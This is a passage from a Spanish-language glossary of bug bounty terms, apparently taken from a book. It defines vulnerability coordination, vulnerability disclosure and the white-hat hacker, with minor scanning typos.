de seguridad también pueden calificarse como vulnerabilidades.

Coordinacion de la vulnerabilidad

Un proceso en que todas las partes estan involucradas para trabajar en la solucion de una
vulnerabilidad. Por ejemplo, puede ser una investigacién (con un hacker de sombrero
blanco) y una empresa en HackerOne o un investigador (hacker de sombrero blanco) y
una comunidad de c6digo abierto.
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Divulgacion de Vulnerabilidad

Una divulgacion de vulnerabilidad es la divulgacion de informacion acerca de un proble-
ma de seguridad informatica. No existen pautas universales acerca de las divulgaciones
de vulnerabilidades, pero los programas de recompensas de errores generalmente tienen
directrices sobre como deben manejarse las revelaciones.

Hacker de sombrero blanco

Un hacker de sombrero blanco es un hacker ético, su trabajo tiene por objeto garantizar
la seguridad de una organizacion. A los hackers de sombrero blanco se les denomina de
vez en cuando como probadores de penetracion de seguridad. Esto es lo contrario a un
hacker de sombrero negro.
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